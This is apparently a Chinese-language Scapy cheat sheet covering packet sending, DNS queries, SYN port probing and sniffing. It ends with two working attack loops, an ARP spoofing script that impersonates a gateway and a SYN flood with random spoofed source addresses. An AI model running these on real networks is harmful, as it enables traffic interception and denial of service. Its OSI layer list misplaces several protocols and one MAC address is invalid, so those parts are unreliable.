- 安装:
pip install scapy
OSI七层模型:
第七层:应用层: HTTP、TFTP, FTP, NFS, WAIS、SMTP
第六层:表示层: Telnet, Rlogin, SNMP, Gopher
第五层:会话层: SMTP, DNS
第四层:传输层: TCP, UDP
第三层:网络层: IP, ICMP, ARP, RARP, AKP, UUCP
第二层:数据链路层: FDDI, Ethernet, Arpanet, PDN, SLIP, PPP
第一层:物理层: IEEE 802.1A, IEEE 802.2到IEEE 802.11
发送数据包
send()函数将会在第3层发送数据包。
>>> send(IP(dst="1.2.3.4")/ICMP())
sendp()函数将会工作在第2层。
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
发送和接收数据包(sr)
sr()函数是用来发送数据包和接收应答。
sr1()发送的数据包必须是第3层报文(IP,ARP等)。
srp()则是使用第2层报文(以太网,802.3等)。
dns查询
>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
SYN scans
>>>sr1(IP(dst='120.25.0.67')/TCP(dport=8000,flags="S"))
返回SA则表明端口是open的
模拟udp数据包
sr1(IP(dst='112.74.208.92')/UDP(dport=1024,sport=6666)/"hello world")
抓包
sniff(iface='wlan0',filter='udp and port 1024',count=5,prn=lambda x:x.summary())
ARP
from scapy.all import *
def make_arp(ip, mac):
arp = ARP(
op = 2,
hwsrc = "48:ef:af:49:22:e2",
psrc = "192.168.31.1",
hwdst = mac,
pdst = ip
)
return arp
while True:send(make_arp("192.168.31.100", "ff:ff:ss:ss:ss"))
SYN
import random
from scapy.all import *
def n():
return random.randrange(1,256)
def random_ip():
return '%d.%d.%d.%d'%(n(),n(),n(),n())
def make_syn(ip, port):
ip=IP(src=random_ip(),dst=ip)
tcp=TCP(sport=random.randrange(1,65535),dport=port,flags='S')
return ip/tcp
while True:send(make_syn("192.168.1.158", 8111))